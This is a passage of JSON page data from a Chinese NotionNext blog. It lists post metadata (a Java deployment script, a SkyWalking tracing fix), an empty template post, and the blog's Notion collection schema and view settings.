2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"163026f4-445a-4595-936d-c0df491c3776":{"value":{"id":"163026f4-445a-4595-936d-c0df491c3776","version":7,"type":"page","content":["8047ce49-8a30-43e3-ae21-1a9913da3140","30cd7c33-dc56-4b4b-962b-2445a6442ec8","7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","3bb7258a-b966-4595-a9c8-f254caf970ec","c302ba58-b227-4a75-9ae7-2697a421adf0","85a4674e-83bc-45a6-85b1-cb3f9525c3ec","bf1909a4-a0de-493c-ac25-506087ec7d28","4bd64c59-8abe-4d30-910a-e3730c858da7","339d9b2f-800f-415d-bd76-cd80db3150fe","6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","b68e787c-2062-418d-9c64-cc9199e0dba4","0b50d24f-c00e-46ee-bd81-073a69126edb","7099f78d-a822-4a4d-b53e-c01dd966f30d"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random/720x480/?encryption","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"2e68569d-c502-4d53-8c89-9606c883d6e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337110,"last_edited_time":1705630790804,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"2e68569d-c502-4d53-8c89-9606c883d6e7","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"8047ce49-8a30-43e3-ae21-1a9913da3140":{"value":{"id":"8047ce49-8a30-43e3-ae21-1a9913da3140","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["267f685c-37ea-403e-9557-8da4bdd04efb"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"3233cb38-a8e0-4f4f-a87e-402b09a26292","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"3233cb38-a8e0-4f4f-a87e-402b09a26292"}},"267f685c-37ea-403e-9557-8da4bdd04efb":{"value":{"id":"267f685c-37ea-403e-9557-8da4bdd04efb","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"8047ce49-8a30-43e3-ae21-1a9913da3140","parent_table":"block","alive":true,"copied_from":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e"}},"30cd7c33-dc56-4b4b-962b-2445a6442ec8":{"value":{"id":"30cd7c33-dc56-4b4b-962b-2445a6442ec8","type":"text","format":{"copied_from_pointer":{"id":"7b847234-b0ad-4041-b976-d286f51b8732","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"7b847234-b0ad-4041-b976-d286f51b8732"}},"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c":{"value":{"id":"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082"}},"3bb7258a-b966-4595-a9c8-f254caf970ec":{"value":{"id":"3bb7258a-b966-4595-a9c8-f254caf970ec","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf"}},"c302ba58-b227-4a75-9ae7-2697a421adf0":{"value":{"id":"c302ba58-b227-4a75-9ae7-2697a421adf0","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"8aed2dc6-1284-4273-87d7-e2ea75457ebb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8aed2dc6-1284-4273-87d7-e2ea75457ebb"}},"85a4674e-83bc-45a6-85b1-cb3f9525c3ec":{"value":{"id":"85a4674e-83bc-45a6-85b1-cb3f9525c3ec","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"8430b001-e224-4c1e-995b-a4459d355d59","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8430b001-e224-4c1e-995b-a4459d355d59"}},"bf1909a4-a0de-493c-ac25-506087ec7d28":{"value":{"id":"bf1909a4-a0de-493c-ac25-506087ec7d28","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"d38a3fcf-2ced-4a62-adde-0a79ad02994b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"d38a3fcf-2ced-4a62-adde-0a79ad02994b"}},"4bd64c59-8abe-4d30-910a-e3730c858da7":{"value":{"id":"4bd64c59-8abe-4d30-910a-e3730c858da7","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"6185443c-dce5-4892-a033-ca6a0d082e98","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"6185443c-dce5-4892-a033-ca6a0d082e98"}},"339d9b2f-800f-415d-bd76-cd80db3150fe":{"value":{"id":"339d9b2f-800f-415d-bd76-cd80db3150fe","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712"}},"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4":{"value":{"id":"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee"}},"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50":{"value":{"id":"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"e022a548-e4f7-4a02-907d-a22d73d64353","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e022a548-e4f7-4a02-907d-a22d73d64353"}},"b68e787c-2062-418d-9c64-cc9199e0dba4":{"value":{"id":"b68e787c-2062-418d-9c64-cc9199e0dba4","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"91e73644-592b-4b87-9915-1da4eb96159b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"91e73644-592b-4b87-9915-1da4eb96159b"}},"0b50d24f-c00e-46ee-bd81-073a69126edb":{"value":{"id":"0b50d24f-c00e-46ee-bd81-073a69126edb","type":"text","format":{"copied_from_pointer":{"id":"9b354478-3f05-4212-bfb6-b9149f7db5ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"9b354478-3f05-4212-bfb6-b9149f7db5ad"}},"7099f78d-a822-4a4d-b53e-c01dd966f30d":{"value":{"id":"7099f78d-a822-4a4d-b53e-c01dd966f30d","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"e3832ae8-c130-471b-8f41-ee029da590e6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e3832ae8-c130-471b-8f41-ee029da590e6"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb